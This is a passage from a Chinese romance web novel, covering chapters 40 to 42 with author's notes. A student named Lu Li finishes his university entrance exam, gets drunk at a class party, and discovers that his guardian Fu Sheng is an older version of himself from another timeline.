我记得钱阿姨还说了,考试那天, 是不是还得出红袜子红秋裤?” 说着, 他将手上的水擦了擦, 快速地说:“我前几天好像还买了一双红袜子没穿过,是新的,我给陆离拿出来。” 别说红袜子了,陆离现在的脸都绿油油的。 他趁着蒋文上楼,快速地将桌子上牛奶喝了,“我喝完了,我先走了。”说完头也不回地就出了门。 傅生看戏从头看到尾,陆离头一次对蒋文这个避如蛇蝎,他笑着冲着人说:“红袜子不穿了?” 前方冷冷的声音传过来:“留给你自己穿吧。” 傅生笑地咳嗽的几声,抬头再看时,那个高挑的背影已经消失在巷子口。 蒋文找到了袜子从楼上跑下来,他看了看桌子前,哪里还有人影,他看向傅生问:“人呢?” “走了。”傅生说。 蒋文一急:“这袜子还没穿呢。” 又看向桌子,别说袜子了,上面食物就喝了一杯牛奶。 “不是,你怎么也不拦着他点,”蒋文抱了一下头,“完了!完了!我专门做的100分,他竟然一个也没吃!” 傅生端起桌子上咖啡,慢条斯理地喝了一口,好笑地看向蒋文:“现在考试都是150分制,陆离要是真的只考100,那才叫完了。” 蒋文:“……” 好像也是这样。 最后,蒋老妈子精心做的100分进了自己嘴巴里,他看着傅生,这人从早晨起来之后,就闲散地坐着。 巷子外面现在全都是人,都是等着自己孩子考试的。 蒋文没忍住,开口问道:“这么重要的考试,决定命运的考试,你真的一点都不担心吗?” 傅生的眼睛落在那些人身上:“重要的不是考试,而是人。没什么担心的,考砸了也没什么。” 蒋文愣了一下,半晌对着傅生伸出了大拇指。 确实对于那种殷殷希望的眼神,傅生这种松弛感确实才是高考的学生更需要的。 高考很重要,但是也没有那么重要。 蒋文轻啧了几声,看向傅生:“我真的是想不明白。” 傅生将袖口的扣子扣上,看向蒋文:“想不明白什么?” 蒋文说:“你到底为什么会对一个没有一点血缘关系的人这么好?吃你的,住你的。” 傅生看他一眼:“你不是也吃我的,住我的。” 蒋文提声:“这能一样吗?” “哪里不一样?” 蒋文愣了一下,觉得自己被pua成功了,是啊,哪里不一样。 傅生看他一眼,然后转身向外走:“你慢慢想。” 蒋文皱眉:“你干什么去?” 傅生背对着他:“接陆离回家。” 蒋文低头看了一眼时间,哦了一声。 直到前边的背影逐渐走远了,他瞬间回过神来。 又差点被傅生这个黑心老板绕进去。 他接过自己回家吗? 没有。 他扣过陆离工资吗? 没有! 这还不叫差距? * 高考考试完那天,所有的学生都像是撒了欢一样。 试卷子教学楼上撒了满操场。 李学波像是动物园跑出来的猴子,不敢照着陆离撒泼,只敢拽着下长江的身子摇晃。 “怎么办怎么办,我考试完和身后的女生对答案的时候,他们说第一个题选c。” 长江走的体育专业,对于文化课成绩不太在乎:“啊,我不知道,我就随便蒙了个答案,你选的什么?” 他说着,转头又看向旁边的陆离:“陆哥,你选的什么?” 他们陆哥最擅长理综,标准的答题模板。 陆离看了他一眼:“c” 李学波闻言,哭得更大声了:“那个题三分啊,三分。我真的要哭了。” 长江在旁边宽慰:“一次考试而已,别灰心,万一你后面的也错了,现在看只是第一题是不是就没这么难过了。” 这个棒槌是会安慰人的。 李学波咬着牙,抓着人要过去打他:“狗日的长江!” 陆离看着他们打闹唇角勾了一下,班主任老于抱着胳膊从前边走过来:“刚考试完就闹,考好了是吧。” 就算是毕业,学生怕老师也像是天性,李学波和长江立马乖乖地站正了身子:“嘿嘿嘿,老师我们没闹,我们在玩呢。” 老于冷哼一声,又看向旁边在这两个兔崽子对比之下显得异常沉稳的陆离,声音都缓和不少。 “考得怎么样?” 陆离说:“还行。” 陆离说还行,那就是真的行了,老于眼见的心情变好,“真的想好了?考政法大学?” 陆离抿了一下唇,片刻又点了点头。 老于在他肩膀上拍了两下:“行,你看着就是那块料,将来咱们政法队伍,就需要你这样的人才。北川政法大学也确实不错,虽然比南宁差点,不过好处就是在家门口。” 陆离看着自己指甲点了点头。 “哦对了,”老于向前走了几步,又倏然回头,“刚才在门口看着你哥等着你呢,估计来了有一会了。” 傅生在门口? 他出门的时候不是告诉傅生自己回去吗?陆离垂了下眸子,对着李学波和长江说:“我先回去,有事微信联系。” 说着转身就走向门口,最后几乎跑起来。 李学波在后面喊:“不是,陆哥,刚考试完不去网吧放松放松啊。最起码得通宵吧,” 不过看着陆离的样子估计也没有听到,李学波心学霸没有别的毛病,就是有点太恋家,不对,是太恋哥了。 他提高声音对着人喊道:“那出成绩的时候,全班有个聚会,喊你你一定要来!” 陆离背对着他比了一个ok手势。 夏天的树枝叶总是很茂盛,下午的时候会在树缝留下斑斑痕迹,门外面聚了很多人,看上去都紧张兮兮的。 但人群中,陆离还是一眼就看到了傅生。 他站在树下,微低着头,那双眸子似乎出神地在看自己的指尖。 他似乎总是喜欢出神,又总是喜欢看着自己的手指,或者拨弄着手指上的戒指,却看不透他在想什么。 陆离看着人,走过去:“不是说不来了吗?” 傅生这才抬头:“别的小朋友都有人领,我怕你没有回哭鼻子。” 谁哭鼻子。 陆离冷着脸看他,傅生笑了一声:“我哭鼻子行了吧,今天没开车,走回去?” 陆离挎着包嗯了一声。 这边小巷子里人少一点,夕阳拉长了两个人的身影,陆离走了一会开口:“怎么不问我考得怎么样?” “这个还用问吗?”傅生说。 陆离心说确实不用,他唇角缓慢地勾了一下。 周边有骑着单车的学生路过,两个人甩着试卷,从他们身边路过。 陆离看着单车上的两个人,倏然开口:“你——高中的时候是什么样子的?” “我?” 傅生怔了一下。 他上高中的时候,每天放学都在担心会不会遇到姜龙或者另一波要债的人。 他不知道高三是什么样子的,甚至不知道高考前一天吃福橘的传统。 因为没有告诉过他这些。 “我上高中的时候,有很多朋友,”傅生垂着眸子,捻着手指,“周六周末每天玩到很晚才回去。” 陆离看着他,颦了一下眉。 那他看上去,为什么这么孤独。 傅生笑了一下:“不过那都是过去的事,不提也罢,”他将目光落在旁边的冰激凌上,看着陆离说:“想吃冰激凌吗?” 虽然知道他又是在转开话题,陆离这次却没有向下问。 傅生走到摊位前,看着卖冰激凌的老板:“一个,谢谢。” 陆离喜欢吃甜,他看向傅生:“你不吃?” 傅生似乎没有什么特别喜欢吃的食物,挑的东西却不少,不过只是嘴上挑,吃的时候好像没有什么特别的忌口。 “小孩子吃的东西,我吃什么。”傅生打趣他说。 陆。已经成年。离:“……” 他手里拿着冰激凌,被某些人的嘴里说出来,吃也不是,不吃也不是。 最后只能冷着脸瞪向始作俑者。 傅生看着他模样,唇角翘了一下:“不逗你了,快吃吧,一会化了。” 陆离这才吃了一口。 两个人继续向前走,现在虽然才进六月,北川却已经开始热起来了。 冰激凌在空气中化得格外快。 傅生看了陆离一眼,顿时没忍住,弯着眼睛笑了。 陆离冷着脸看向他。 傅生指了指唇角:“弄到下巴上了,小花猫。” 陆离皱着眉擦了一下,却没有擦到。 傅生脸上的弧度更大了,伸过手去在陆离的唇角擦了一下:“是这里。” 指尖的温度顺着唇角又传到他唇上,他分不清是亲昵还是亲近,就像他分不清傅生对他的感情。 “我是不是教过你,”傅生笑着说,“吃东西慢点。以后若被喜欢的人看到怎么办?” 他手指在陆离唇上轻扫过,想撤下来的时候,指尖却倏然被抓住了。 傅生:“嗯?” “你是不是还教过我,”少年垂着眸子,低着声音,像是在压制着什么情绪,“只有恋人,才能做这么亲密的事。” 恋人那两个字被他说得很慢,却像是冰一样轻轻地敲在傅生的心口上。 少年心思就像是模糊又透明的玻璃,猜不透,摸不着。 但总有某一刻。 透过那层玻璃,他好像能看到少年炽热跳动的心脏。 【作者有话说】 今天情绪不好,少写一点。orn 40-50 第0041章 第 41 章 ◎我知道你的秘密了◎ 傅生睫毛很轻地眨了一下, 他感受着来自对面,那本该属于自己的心跳。 好半晌,他错开眸子, 和平时说话的语气相同, 却又比语气更低沉一点:“我教你的, 是这么用的吗, 小鬼。” 陆离眼睛低垂下去, 似乎早就料到了傅生的反应。 “走了,”傅生抽回手,继续向前走,“蒋文在家里等你,说是要给你做一桌子菜庆祝。” 陆离看着人没说话, 只是觉得夕阳好像刺了一下眼睛。 回到家,蒋文就开始收拾着东西忙活, 大包大揽地跟过年一样。 傅生刚进门, 就看到一只顶着冠子的公鸡在院子里扑腾,蒋文头上插着鸡毛,匍匐着身子, 逮了好几次都没有逮到。 看见傅生和陆离回来, 他瞬间像是看到了救星一样:“啊, 快快快帮助我逮到这个小畜生。” 傅生稀奇地看了他一眼:“吃大餐,你买的这?” “这个不是用来吃的。”蒋文逮着公鸡说。 傅生更稀奇了:“不是吃的, 你买回来当祖宗供着?” “你没看过电视剧啊, 洞房花烛,金榜题名, 升官发财, 都得有一只大公鸡坐镇吗?”蒋文手忙脚乱地抽空看着傅生, 一副你什么都不懂,没了我可怎么活的模样。 陆离在听到洞房花烛四个字的时候,手指蜷缩了一下。 片刻,他低着头说:“我先上去了。” “刚考完快放松放松,休息休息。” 蒋文对着考生摇了摇手,又将目光落在傅生身上。 结果傅生只是在他插着羽毛的鸡窝头上看了一眼,就事不关己地说:“我也上去了。” 说完就头也不回地进了屋。 蒋文看着他背景喊道:“不是,你们都走了,谁来帮我抓。” 让十指不沾阳春水的傅大老板抓鸡是不可能的,他背对着蒋文挥了一下手, “自己想办法,加油,蒋大师。还有提醒一下,别让公鸡把我的花啄了,不然从你工资里扣。” 蒋文:“……” 没有一个能指望得上。 最后还得靠他自己。 他看着前边的公鸡,把它想象成傅生那个黑心老板,一撸袖子,朝着前边的鸡咬牙切齿地扑了上去。 咕咕咕~咯咯~ 院子里瞬间鸡飞狗跳。 晚上,蒋文不知道是因为抓鸡抓的怨气太大,还是太高兴,竟然喝多了。 他指着旁边的陆离说:“臭小子,现在我是不是我也算是看着你长大的,哈哈哈哈,现在一晃眼竟然都要上大学了。” 只是话都没说完,就倒在了旁边的沙发上睡着了,甚至鼾声都起来了。 陆离在旁边抿着唇。 傅生拿来一个毯子胡乱的扔到了蒋文身上。 “他在这里就行,不用管他了,回去睡吧。” 陆离点头上了楼,放学时候的事情,谁都没有再提。 他回到房间,看见桌子上的各种高三的模拟试题,似乎现在已经没有什么用处了。 以前都是刷题到两点,现在倏然一停下来,竟然一时间有些不知道干什么。 拿着手机躺在床上。 之前李学波就异常活跃,现在放了假就更活跃了。 他发了一个图片,应该是在他家的餐桌上拍的,桌子上放着一个红包,里面装着一千块。 长江:[哎哟,这还没出成绩呢,红包就已经给了?] 李学波:[我求了半天,我爸说这叫提前预支,高考的时候,考550之上,多一分就多给一百。] 长江:[那万一比550少呢?] 李学波露出了一个哭泣表情:[这些钱就再扣回去,少考一分扣一百。] 长江:[hahahahahahah] 长江:[叔叔这个主意妙啊。] 长江:[我爸说了,红包这事,什么时候出来成绩什么时候再说,若是考得好了,就给我包个超大的红包,要是成绩低了,就奖励一顿劈柴炖肉。] 李学波给他一个安慰的表情。 李学波:[别担心长江,你的成绩已经没有下降的空间了。] 长江:[] 两个人互怼互损互捅刀子了半天,半晌又拐到了陆离身上。 李学波:[陆哥,你回到家之后怎么一点动静都没了,在干吗呢。] 陆离对于和他们插科打诨没有兴趣,回了一个1上去。 李学波:[好的哥。] 长江:[哥,你忙。] 他躺了一会之后,刷了一会手机,有些口渴望,起身去了客厅。 蒋文睡在客厅里,傅生怕他半夜醒了摔倒,给他留了盏落地灯。 灯光不太亮也不太暗,刚刚好。 陆离越过他,走到厨房,拿了罐汽水下来。 仰着头准备喝的时候,他听见一声轻微的声响,回头刚好看到傅生站在厨房门口。 可能是因为睡觉时间,他穿着很是随意,衬衫的扣子没系好,上面敞了两颗,头发也微散下来却并不显得乱,带了几分欲感。 傅生不知道陆离也在下面,看着人一愣才开口:“怎么还没睡?” 陆离捏着汽水瓶,喉间滑了一下:“睡不着。” 傅生:“因为刚考完?” 不是。 陆离心说,是因为一空下来,就想起了下午的欲言又止,某人开始在他脑子乱晃。 他没说话,只是看着人反问了一句:“你为什么也睡不着?” 傅生笑了一下:“没有睡不着,只是口渴了,下来接水。” 深夜的客厅太过于寂静,寂静地看着眼前人,容易生出太多不该出现的念头。 空调的声音呼呼地响着,蒋文翻了个身子,陆离板着脸,将心中杂念努力压下去,才眨了一下眼睛:“我回房间了。” 傅生看着他,棕色的眸子里不知道在想什么,半晌嗯了一声。 陆离转身,上楼的时候感觉到傅生视线很轻地落在他身上,又很快的移开。 他手里拿着汽水瓶,水汽沾湿了手心。 回到房间躺在床上,他听着外面慢慢传上来的脚步声,关门声,直到声音完全平息。 陆离心烦的翻了下身,将被子蒙着头。 想通过睡觉将脑子中的某人挤掉。 抬手却在枕头下面摸到了一个东西。 他先是怔了一下,又起身拿了出来。 打开灯才发现,枕头底下放着的,是一个厚厚的红包。 红包里面整整齐齐地码着一万块钱。 这一刻,陆离说不上自己的心情。 傅生向来对于北川的风土习俗不太懂,却还是在考试完之后,给他准备了一个红包。 他手中捏着这一沓钱,到底为什么…… 为什么对他这么好。 以至于生出了不该有的心思。 * 傅生坐在书桌前,灯光将他的身影拉长。 他微垂着眸子,看着自己手中的水杯,透明的玻璃在灯光下折射出一道长长的光影,像是刺进了杯子的心脏。 他在自己的胸口处摸了一下,复杂的眼睛里少见地出现了一瞬间的迷茫。 * 陆离第二天起来,没有看到傅生。 蒋文像是刚刚醒酒,伸了一个懒腰在沙发上坐起来。 他抬头看到陆离在二楼走下来,像是蒙了一下,才想起来自己昨天好像喝多了。 在沙发上躺了一晚上,躺的他头硬脖子僵的,他在自己脖子上使劲地锤了两下,然后在客厅里转了一圈,才看向陆离:“哎,怎么只有你自己,傅生呢?” 陆离在冰箱里拿了一瓶牛奶出来,冷着声音说:“不知道。” “一大早就没了人,”蒋文一边说着,一边掏出手机,“喂,我说傅大老板,你大清早做什么去了?” 他开了扩音,傅生温沉的声音通过传声筒传过来:“有些事情处理。” “什么事啊这么急,”蒋文道,“我昨天怎么没有听你说,那你今天还回来吗?” 傅生:“今天回不去。” 陆离拧着瓶盖的手顿了一下。 “那忙几天?不会又像上次一样,忙十天半个月吧。”蒋文说完,又瞥见了陆离,“陆离现在可是在我旁边站着呢,小心你再待这么长时间,他又像上次一样不理你。” 傅生也罕见地顿了一下。 陆离在旁边冷哼一声:“谁要管他。” “看吧,”蒋文说,“小祖宗现在已经开始闹脾气了。” 陆离:“……” 傅生顿时哭笑不得,半晌,才缓着声音说:“这次真的有事。” 蒋文直接把电话放在陆离的耳边。 沉默了一秒,傅生说:“最快明天就能回去,慢一点可能要两天。” 陆离压低的眸子动了一下。 刚才的冷气压消的无影无踪。 他嗯了一声,在蒋文稀奇的目光里挂断了电话。 陆离看向他:“看我干吗?” 蒋文啧啧两声说:“就是在想果然是一物降一物,傅生竟然会报备行程。到底怎么才能制住这个能翻天的主,是不是得你这种犟脾气?” 陆离:“……” 他冷着眼睛看了蒋文一眼,却见他这位二百五叔叔似乎真的在认真的思考这个问题。 他静默了一秒,捏了下手指。 刚想转身上楼,几声鸣笛在门口响了几声。 蒋文向外一看:“哎这个老爷子怎么这个点来了?” 陆离看了过去,果然一辆黑色的车停在门口,神采奕奕的傅老爷子从车上下来。 蒋文抓紧迎了上去:“老爷子你怎么今天来了,傅生今天没在家。” “没事,我不是来找他的,”傅老爷子看向陆离,“我是来找小陆的,这孩子刚高考完,我给他送点东西。” 陆离看过去了,傅老爷子站在门口,指使着司机:“把车后面的东西都搬下来。” 一大箱子一大箱进口的水果,零食,甚至还有一个刚上市的游戏机,在老爷子的指挥下,全都卸到院子里。 “好家伙。”蒋文站在旁边惊呼一声。 陆离有些不知道说什么了,他本来和傅老爷子就是非亲非故的,闷了半晌说了句谢谢。 “谢什么,再缺什么都给爷爷说,”傅老爷子说,“咱们是一家人。” 陆离嗯了一声。 这时,司机在车前喊了一声:“车上还有一箱,在最里面放着,这个还要搬吗?” “那个不搬,”老爷子挥手,“那个里面装的芒果,傅生不喜欢吃。” 原本说这话的时候,陆离并没有当回事。 老爷子却喃喃道:“这孩子小时候可喜欢吃芒果了,现在也不知道是怎么了,上次就看了几眼,都没吃到嘴里,那脸煞白地跟见了鬼了一样,都要吓死我了。” 陆离愣了一下,好半晌抬头:“您说什么?” 傅老爷子说:“我说傅生不吃芒果,我后来去医院里打听过,刚开始以为是过敏什么的,但医生听了症状说是因为创伤性后遗症。遭受什么重大打击的时候,可能现场刚好有芒果。” “创伤后遗症?”蒋文问了一句。 老爷子也不理解:“是啊,这孩子不知道在哪里沾上这么一个病,不过也不碍事,以后不吃就行了。” 蒋文说:“那还真是巧了,我们家这位小祖宗也不爱吃。” 老爷子道:“陆离也不吃?” 蒋文:“是啊。” 老爷子笑了一下:“你和傅生你们两个还真是有缘分。不吃这个吃别的,没关系。” 陆离却一直低着头没说话,他垂着眸子,手指指尖掐在了掌心。 这一刻,他脑子里好像有一根线,把以前的那些,瞬间连起来了。 与小时候的傅生截然相反的性格。 第一次见面,却好像早就认识他。 没有人知道,傅生却记得他的生日。 还有吴海昊给他补课那天,傅生异常的情绪。 这些种种,即使答案看上去不可思议,却也只能是唯一的答案。 …… 傅生忙完最后一件事,看了看天色还早。 原本打算第二天回去的,但是回家晚了,他估计又得看到陆离那气鼓鼓的脸,他摇了摇头笑了一声。 什么时候自己也这么瞻前顾后了。 正想着穿过这个巷子打个车去机场,刚走了两步却被一个人喊住。 “这位老板,看你面相很好,算一卦吧。” 他回头一看,一个穿着灰色长衫地带着瓜皮帽戴着黑色小圆眼睛的算命先生坐在旁边,身前摆放着小凳,八卦图和面相手相之类的。 “面相好?头一次有人这么说,”傅生笑了一声来了兴趣,看着算命先生问,“那不如看看我是做什么生意的。” 算命先生在眼镜下露出眼睛,看了一眼傅生,装模作样地说:“生意这样的我不看也知道老板肯定不缺钱,我可以给你看看姻缘。” 傅生的眉梢挑了一下,走过去看着算命先生:“姻缘?好啊,那就帮我看看姻缘。” “老板生的好,”算命先生捏了一会手指,说,“但是你的姻缘线很怪啊,都快重叠了,不过最近几天这根姻缘线恐怕要动。想不想提前知道一下,这段姻缘具体方位。” “具体方位就不用了,”傅生垂着眸子听着老板扯了一会,然后摇了摇手机,“我刚才在隔壁路上来的时候,看到有位女士正在找一个算命先生,看起来很是气急败坏。我恰巧在她留的联系方式上看了一眼,刚才已经把先生的位置告诉她了。” “你他妈——”算命先生坑人的嘴脸瞬间坑不下去了。 他原本在隔壁街骗人,但忽悠的人太多,混不下去了,这才来到这里。 刚在这里打窝,看到傅生穿着讲究的走过来,以为可以狠狠坑上一笔,没想到翻了车。 傅生起身,很是礼貌地说:“不用谢我。” “我还谢你,”他一边收拾东西,一边骂骂咧咧地看向傅生,“行,我记住你了,你给我等着。我回家就做法,让你这辈子天煞孤星,孤苦终老,只有自己。啊呸!” 傅生看着算命先生落荒而逃的背影,嘲讽又冷淡地笑了一声。 天煞孤星,早就是了。 孤苦终老他也没意见。 他本来就是只有自己。 这时,兜里的手机铃声响了几声。 他掏出手机,一看是蒋文。 蒋文问:“打算什么时候回来?” “一会儿就会,六点的飞机,”傅生知道蒋文没有事一般不给他打电话,“怎么了?” “也没有什么事,”蒋文说,“老爷子今天早晨来了,给陆离送了一堆吃的。” 傅生对此没什么意外,嗯了一声。 “不过陆离从早晨老爷子走了,就看起来不太对劲,”蒋文说,“也不能说不高兴,好像有点心不在焉的,哈哈哈你说他是不是谈恋爱了。” 傅生忽略了后面的问题,颦了一下眉,“他呢?” 蒋文说:“刚才被他同学叫走了,我听那个叫李学波的说是毕业聚会,应该是全班都去了。” 傅生抿了一下唇说:“行,我知道了。” * 一群出了羊群的羊好不容易在羊圈了出来,还没有人管,先去ktv唱了两个小时的歌。 陆离在角落地坐着,垂着眸子玩手机。 李学波唱完一首,看向陆离:“陆哥,你要不要来一首?” 陆离只看他一眼,就垂下眸子。 李学波凑过去,看着陆离的浏览器上搜的问题:"人遇到另一个自己,会不会喜欢——" 后面的话太长了,他没看清。 不过不耽误。 李学波哈哈笑了几声,看着陆离问:“陆哥你也信平行时空了啊,我记得去年的时候,论坛上还火过一阵,说什么看到平行世界的自己,会对自己说什么。我当时还回复了那个帖子,非常真情实感地把自己容易犯的错给平行时空的自己列了一遍。” 陆离被他吵得耳朵疼,干脆关了手机:“唱歌都管不住你的嘴?” “不唱了不唱了,”李学波指了指手机说,“班上的女生都来了,咱们现在去定好的餐厅。” 陆离起身,没有说话直接出了门。 李学波偷偷凑到长江面前:“你有没有觉得陆哥今天有点不对劲?” “啊?哪有不对劲,”长江睁着那双单纯的眼睛问,“不是还是喜欢和以前一样冻人吗,十米之内,片甲不留哈哈哈哈。” 李学波嫌弃地看了他一眼:“行了,没你事了,你玩去吧。” * 傅生几乎刚下飞机,就接到了电话。 他看了看消息,是陆离打来的微信电话。 头像上那只猫让他唇角翘了一下:“喂?” 传过来却不是陆离的声音,李学波说:“喂,是陆离的哥哥吗?” “嗯,”傅生颦了一下眉问,“陆离呢。” “我是陆离的同学,”李学波那边听上去像是很吵,他似乎在拉扯什么,“陆哥你别动,我已经给你哥打了电话了。” 说完这些才又对着傅生说:“那个陆哥有点喝醉了,我和长江怎么拽他都拽不动,你看你能不能过来接他一下。” 喝醉了? 傅生颦了一下眉。 陆离自从知道自己酒量不大后,就很少喝酒,这次喝醉了? 是因为毕业,还是别的什么? 他问了地址挂了电话,直接赶了过去。 到的时候,陆离正坐在餐厅外面的板凳上,垂着头。 少年肩胛骨轮廓在灯光下格外清晰可见。 李学波和长江看到傅生走过来,很有礼貌的喊了一声哥。 傅生点了点头。 谁知道陆离不乐意了,抬头不悦地看着人:“我的。” “对对对,是你哥你哥,”李学波有些怂地看向傅生说,“我们也没想陆哥今天这么能喝,我们想拉着来着,结果没拉住。” 傅生点头表示自己知道了,并让两个人先走了。 须臾,他走到了陆离面前,伸了手无奈地问:“回家吗,醉鬼。” 陆离抬头,看着眼前的人,那双乌黑的眸子在灯光下亮得惊人。 好半晌,他才很轻的垂了下眼睛:“嗯。” 回家。 一路上,陆离都很安静。 这边离着古董店不远,傅生记得陆离喝了酒坐车会头晕,就没有打车。 “今天怎么喝了这么多?”傅生问。 陆离垂着眸子,低着头向前走。一直到傅生以为他不会说话的时候,他才低声说了一句:“不高兴。” 傅生颦着眉看下陆离。 陆离很少表达自己的情绪,总是那样冷冷的。 但此时他站在灯光下,长长的睫毛在眼睑下投下一小片阴影,竟显得有些难过。 “为什么不高兴?”傅生问。 陆离说:“因为下雨了,有一个人,没人给他撑伞。” 傅生笑了一下:“喝醉了之后,这么不讲逻辑的吗?放心,下雨会有人给你撑伞,不会淋到你的醉鬼。” 陆离却没有说话,直到傅生走过去拉着人要回家,他才倏然看着人,低着声音问了一句:“还疼吗?” 傅生看着那双眼睛,愣了一会,才小声地问:“什么还疼吗?” 陆离说:“我都知道了。” 傅生问:“知道什么?” 陆离垂着眸子:“你的秘密。” 他原以为遇到傅生,是命运终于拐了弯。 却没想到,他没经历的那些苦,是因为早就有人替他扛过了。 那个人披着霜雪,一个人在黑夜里走了很久。 却将最后的灯火, 又毫无保留地给了另一个自己。 陆离觉得心口像是被千万只蚂蚁咬了一下,最后只剩细细密密的疼,他说:“你以前问过我这句话,现在换我问你, ——还疼吗?” 他也想问问当初的自己,还疼吗。 巷子里的灯光像是一面镜子,镜子两边站着两个相同又不同的自己。 “不疼了,所以也不用不高兴,”傅生看着对面的人,静默了好久,才说,“他只是在陪自己长大。” 【作者有话说】 比较喜欢这种,即便知道我就是你,我还是喜欢你。 第0042章 第 42 章 ◎他觉得自己疯了。◎ 傅生知道陆离早晚会发现, 却没有想到陆离这么早会发现。 两个人在灯下站了很久,傅生叹了一口气,在陆离的肩膀上拍了一下:“好了, 先回家。” 蒋文站在门口看见两个回来, 就感觉两个人之间的氛围怪怪的。至于怎么怪, 他也说不上来。 “这是怎么了?”蒋文问。 傅生看了旁边垂着眼睛的陆离一眼:“没事, 喝醉了而已。” “这看着也不像是醉了啊, ”蒋文手指在陆离眼前晃了几圈,“这是几还认得吧。” 陆离抬头冷冰冰地瞥了他一眼。 “怎么喝醉了脾气还这么大,”蒋文轻啧了一声,“也不知道随了谁。” “别惹他了,”傅生对蒋文说, “你先上楼睡觉吧。” 蒋文看了两个人一眼,莫名地他感觉站在这里似乎也有点多余, 转身上楼道:“那我就先上去了。” 脚步声逐渐消失, 客厅里安静下来,只剩下两个人。 傅生看着陆离在灯光下站着,不知道是不是因为光线柔和, 所以看起来整个人比平时冷冰冰的模样要乖上几分。 他走上前问道:“怎么样, 难受不难受。” 陆离摇头, 片刻又点了点头。 傅生笑了一声:“所以这是难受还是不难受。” 陆离看向他,那双眼睛映着傅生的身影。 “别看我了, ”傅生指了指沙发, “去那里坐一会。” 说完,他转身向厨房走去, 刚走了几步, 衣摆却被抓了一下。 陆离低声开口:“去哪?” 傅生低头看了一眼自己衣摆上的手, 笑了一下:“去给你做醒酒汤。喝这么多,不怕明天早晨起来头疼?” 陆离静默了片刻,才又把手松开。 傅生这才去了厨房,刚把需要的东西拿出来,放进小锅里,就听到客厅里响起了动静。 他担心这个醉鬼乱动摔到自己,刚回头,就看见醉鬼已经出现在了厨房门口。 他高挑的个子倚着门框,微散下来的碎发垂在薄薄的眼皮上,也不说话,就这样静静地看着他。 傅生倏然笑了,虽然脸还是冷冰冰地,他却在陆离的这一吭不吭中品出几分黏人来。 他也没点破。 厨房的水汩汩地响着,傅生一边垂眸看着火,一边问道:“什么时候知道的?” 陆离知道他问的什么。 他想了想。 其实早就感觉到不对劲了,他只是强迫自己不去想,直到今天。 “没多久。” 傅生嗯了一声。 一般人突然知道这种事,可能一时之间难以接受,他说:“其实我刚醒来的时候,也感觉有些不可置信。” 停顿了一下,他低声问:“害怕了吗?” 突然看到另一个自己。 陆离摇头。 他其实还想问问别的。 但是他知道傅生不会说。 他把什么事都埋在心里,即便是对着另一个自己。 他倏然有点难过,傅生了解他的全部,他却对傅生的过去一无所知。 厨房里又安静下来,谁也没有再说话,醒酒汤煮得很快,傅生盛了一碗端给了陆离。 “慢点喝,小心烫。” 陆离素白的手指端着碗,小口地喝着,热气氤氲在他的眼睛里,沾的睫毛湿了。 他有些讨厌这种感觉。 将碗里的醒酒汤快速地喝完,陆离低着声快速地说了句:“我去休息了。” 傅生嗯了一声,看着楼梯上的背影,愣了好大一会才转开眸子。 陆离以为自己会睡不着,但不知道是酒精的作用,还是那碗醒酒汤,竟然睡了过去。 再醒来的时候已经到了早晨七点多。 自从上学以来,他还是第一次醒了这么晚。 陆离颦了会眉,压在心尖那些酸涩却没有散去多少。 但酒醒了之后,那些情绪又被他干干净净地收进了冷淡的外表下,窥不见分毫。 微信一夜没看,多了几百条消息。 无疑都是李学波和长江发的。 李学波:[到家了吗陆哥,感觉怎么样?] 长江:[比起这些,我其实更想知道陆哥的哥是怎么把陆哥带回去。] 李学波:[其实我也想知道。咱们当时用了这么多办法,都没有让陆哥动一下。] 长江:[不会是背回去的吧。] 李学波:[哈哈哈哈不行了,我想象不到那个画面。] 陆离看着他们在群里的消息,瘫着脸回了一个滚。 只是他那个小猫的软萌头像说这个,实在是没有多大的杀伤力。 他盯着头像看了半晌,手指动了动,将自己的头像又改回了之前的句号。 他起身将衣服换下来,又在衣橱里挑了个黑色的短袖,去了洗漱室。 等再回来的时候,李学波这厮竟然已经醒了,还回了消息。 李学波:[哎,陆哥你又换头像了?] 李学波:[还是这个头像看着味正。] 李学波:[难道之前那个是逢考必过符?] 陆离:[皮痒?] 李学波赶紧放了个求饶的表情。 李学波:[陆哥,要不要来网吧,我和长江都在,昨天吃完饭直接没回去。] 陆离手顿了一下,他其实不太喜欢网吧的环境,人又多又吵,周围全是散不出去的臭味。 但—— 陆离目光在屏幕上停了半晌,打字回了消息。 陆离:[地址] 这个消息一发出去,李学波一口气回了三个问号。 因为平常邀请陆离来网吧开黑,得到的永远都是一个冰冷的滚字。 李学波:[你是我陆哥吗?] 李学波:[不会是被盗号了吧] 然后他就差点被陆哥发来的语音冷气扑了一脸。 李学波:[哥你大约几点到,我提前给你占位置。] 陆离看了一下网吧和他的距离:[十分钟。] 李学波:[好嘞。] 陆离下楼的时候,傅生已经在沙发上坐着了,他端着咖啡,低头看着手机。 可能是听到他下楼,傅生抬起了头,看起来和平时别无二致,仿佛心境变化的只有他自己。 “醒了?”傅生问了一声,“头疼吗?” 陆离垂下眼眸,没去看他的眼睛,嗓音微冷地说:“不疼。” “还是年轻好,我每次喝酒都得疼到第二天中午,”蒋文见缝插针地,酸溜溜地说,“也没有看到有人给我煮醒酒汤。” 傅生看他一眼:“你也是第一次喝酒?头疼还喝,知道这叫什么吗?” 这叫贱。 蒋文默默地在心里说,但他嘴硬:“不知道,我只知道自己没有醒酒汤。” 陆离站在一旁看了一会,倏然说:“我出去了。” 蒋文抬头稀奇说:“你之前大门不出二门不迈,跟个大姑娘一样,今天干吗去?” “上网。”陆离说。 蒋文更稀奇了:“你不是讨厌网吧吗?” 他看向傅生:“这孩子昨天喝的假酒?还整变异了?” 傅生眼皮动了一下,也没说别的:“嗯,吃了早饭再去。” 他看着陆离垂着眸子,里面有什么情绪一闪而过,像是失落又像是压制着别的。 “不吃了,同学等着我呢。” 说完,他背上书包出了门。 “这小子,竟然学会去网吧上网了,”蒋文看了半晌,嘀嘀咕咕地说着,又看向傅生,“你怎么也不说说他?” 傅生没说话,垂着眼睛看着手机屏幕,目光落在陆离的头像上。 片刻,才将手机收起来 陆离坐在李学波早早帮他占好的位置上,颦了眉。 “这里都是男生,”李学波小声地说,“可能气味会有点大,你忍一下陆哥。” 陆离瘫着脸嗯了一声。 李学波知道陆离有洁癖,帮他把桌子擦了好几遍,才道:“现在我们干什么,玩一局cf” 陆离打开电脑,低声说:“你们玩吧。” 李学波啊了一声:“那你玩什么啊陆哥。” 陆离抿了一下唇:“我搜点东西。” 然后李学波就看到了陆离打开电脑上的浏览器,点进了搜索框。 李学波:“” 不是,谁家好人上网吧里来,只是为了搜东西。 长江在旁边一整个看呆了,刚想说什么,被李学波伸胳膊捅了一下。 